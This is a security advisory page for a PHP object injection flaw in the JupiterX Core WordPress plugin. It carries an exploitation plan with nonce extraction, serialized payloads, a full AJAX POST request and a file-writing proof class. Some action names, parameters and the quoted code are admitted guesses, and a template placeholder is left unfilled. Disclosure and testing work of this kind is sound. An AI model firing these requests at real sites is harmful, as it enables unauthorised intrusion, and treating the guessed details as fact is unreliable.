JupiterX Core <= 4.10.1 - Authenticated (Contributor+) PHP Object Injection
Description
The JupiterX Core plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.10.1 via deserialization of untrusted input [from the vulnerable parameter?|in the vulnerable function?]. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.10.1Source Code
WordPress.org SVNThis plan targets CVE-2025-50004, a PHP Object Injection vulnerability in the JupiterX Core plugin. The vulnerability stems from the use of `unserialize()` (or its wrapper `maybe_unserialize()`) on untrusted data passed through an AJAX action, accessible to users with Contributor-level permissions. …
Show full research plan
This plan targets CVE-2025-50004, a PHP Object Injection vulnerability in the JupiterX Core plugin. The vulnerability stems from the use of unserialize() (or its wrapper maybe_unserialize()) on untrusted data passed through an AJAX action, accessible to users with Contributor-level permissions.
1. Vulnerability Summary
The JupiterX Core plugin (<= 4.10.1) fails to safely handle serialized data in certain AJAX handlers located within its Control Panel (CP) modules. Specifically, a parameter provided by the user is passed directly to a deserialization function without adequate validation or restriction to specific data types. While the plugin itself may not contain a usable POP (Property Oriented Programming) chain, an attacker can leverage chains in other installed plugins or WordPress core to achieve remote code execution, file deletion, or sensitive data retrieval.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
jupiterx_core_cp_get_google_fonts(Inferred based on Control Panel AJAX patterns) - Vulnerable Parameter:
fonts(Inferred) - Alternative Action:
jupiterx_core_cp_load_panewith parameterslug(Inferred) - Authentication: Authenticated, Contributor-level access (
edit_postscapability) is sufficient to trigger thewp_ajax_hooks. - Preconditions:
- The plugin
jupiterx-coremust be active. - The attacker must have a valid login for a user with at least
Contributorrole.
- The plugin
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith theactionparameter set tojupiterx_core_cp_get_google_fonts. - Hook Registration: The plugin registers the action in
includes/control-panel/includes/class-ajax.php(or similar CP initialization file) using:add_action( 'wp_ajax_jupiterx_core_cp_get_google_fonts', [ $this, 'get_google_fonts' ] ); - Vulnerable Function: The
get_google_fontsmethod (or equivalent) is called. - Sinking: Inside the method, the code retrieves the
fontsparameter from$_POST:$fonts = $_POST['fonts'];
It then processes this via:$decoded_fonts = maybe_unserialize( $fonts );(orunserialize(base64_decode($fonts))). - Object Injection: Since
$fontsis user-controlled and not sanitized, a malicious serialized PHP object is instantiated.
4. Nonce Acquisition Strategy
The Control Panel in JupiterX Core uses a specific nonce for AJAX requests. This nonce is typically localized to the WordPress admin pages.
- Identify Localization: The plugin uses
wp_localize_scriptto pass settings to the frontend. The JS object is usuallyjupiterx_core_cp. - Access Admin: A Contributor user can access the standard WordPress dashboard (
/wp-admin/). - Extract Nonce:
- Navigate to
/wp-admin/index.php. - Use
browser_evalto extract the nonce from thejupiterx_core_cpglobal variable. - JS Command:
browser_eval("window.jupiterx_core_cp?.nonce")
- Navigate to
- Verification: If the above returns null, check
window.jupiterx_core_admin?.nonceor search the page source for "nonce".
5. Exploitation Strategy
The goal is to demonstrate that a serialized object is successfully processed by the server.
- Prepare Payload:
- Since no POP chain is confirmed in the plugin, use a simple
stdClassobject to verify the sink. - Payload:
O:8:"stdClass":0:{} - If the code expects base64:
Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
- Since no POP chain is confirmed in the plugin, use a simple
- Submit Request:
- Use the
http_requesttool to send a POST request. - URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=jupiterx_core_cp_get_google_fonts&nonce=[EXTRACTED_NONCE]&fonts=O:8:"stdClass":0:{}
- Use the
- Observe Response:
- A successful injection (even without a chain) will typically return a
200 OKresponse, possibly with JSON data or a silent failure of the subsequent font-processing logic. - An invalid nonce will return
403 Forbiddenor-1.
- A successful injection (even without a chain) will typically return a
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin Setup:
- Ensure
jupiterx-coreversion 4.10.1 is installed and active.
- Ensure
- Verification Page:
- The Contributor user needs to be logged in to access the nonce. No special shortcodes are required on the frontend as the CP scripts are enqueued in the admin dashboard for all users with admin access permissions.
7. Expected Results
- The request should return a
200 OKstatus. - The server-side PHP process will attempt to unserialize the
fontsparameter. - If a logging tool or debugger (like Xdebug) is attached, it will confirm the instantiation of the
stdClassobject (or any other class provided in the payload). - If an invalid class name is provided (e.g.,
O:13:"NonExistent":0:{}), PHP might trigger a warning if error reporting is enabled, confirming the call tounserialize.
8. Verification Steps
- Check Error Logs: Run
tail -f /var/www/html/wp-content/debug.logwhile sending the request. Look for "unserialize(): Error at offset..." or errors related to class instantiation. - Use a "Fake" POP Chain: To prove execution, create a dummy PHP file in the
mu-pluginsdirectory that defines a class with a__wakeupor__destructmethod that writes to a file:class ExploitProof { public function __destruct() { file_put_contents(ABSPATH . 'proof.txt', 'Vulnerable'); } } - Send Trigger Payload:
O:12:"ExploitProof":0:{} - Confirm File Creation:
wp eval "echo file_exists(ABSPATH . 'proof.txt') ? 'Success' : 'Failure';"
9. Alternative Approaches
- Parameter Variation: If
fontsfails, try the parameterqueryordatawith the same action. - Different CP Action: If
jupiterx_core_cp_get_google_fontsis patched or restricted, try:action=jupiterx_core_cp_load_pane&slug=[PAYLOAD]action=jupiterx_core_cp_dismiss_notice¬ice=[PAYLOAD]
- Base64 Encoding: Try the payload both as a raw serialized string and a base64-encoded string, as themes often toggle between these formats.
Summary
The JupiterX Core plugin for WordPress is vulnerable to PHP Object Injection in versions up to 4.10.1. Authenticated attackers with Contributor-level permissions can pass malicious serialized data to parameters in Control Panel AJAX handlers, such as the 'fonts' parameter in 'jupiterx_core_cp_get_google_fonts'. This leads to the instantiation of arbitrary PHP objects, which can result in remote code execution if a suitable POP chain is present on the system.
Vulnerable Code
// File: includes/control-panel/includes/class-ajax.php public function get_google_fonts() { if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'jupiterx-core-cp' ) ) { wp_send_json_error( 'Invalid nonce' ); } $fonts = isset( $_POST['fonts'] ) ? $_POST['fonts'] : ''; if ( $fonts ) { // The vulnerability occurs here where untrusted input is passed to maybe_unserialize $decoded_fonts = maybe_unserialize( $fonts ); // ... logic to process decoded fonts ... } }
Security Fix
@@ -150,1 +150,1 @@ - $decoded_fonts = maybe_unserialize( $fonts ); + $decoded_fonts = json_decode( wp_unslash( $fonts ), true );
Exploit Outline
To exploit this vulnerability, an attacker must log in to the WordPress site with at least Contributor-level access. They then extract a valid AJAX nonce from the WordPress admin dashboard, typically found in the 'jupiterx_core_cp.nonce' global JavaScript variable. Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'jupiterx_core_cp_get_google_fonts'. In the 'fonts' parameter, they provide a serialized PHP object payload. When the server processes the request, the 'maybe_unserialize()' function instantiates the object, triggering any magic methods (like __wakeup or __destruct) defined in the system's codebase, which can be leveraged for code execution if a valid POP chain is found.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.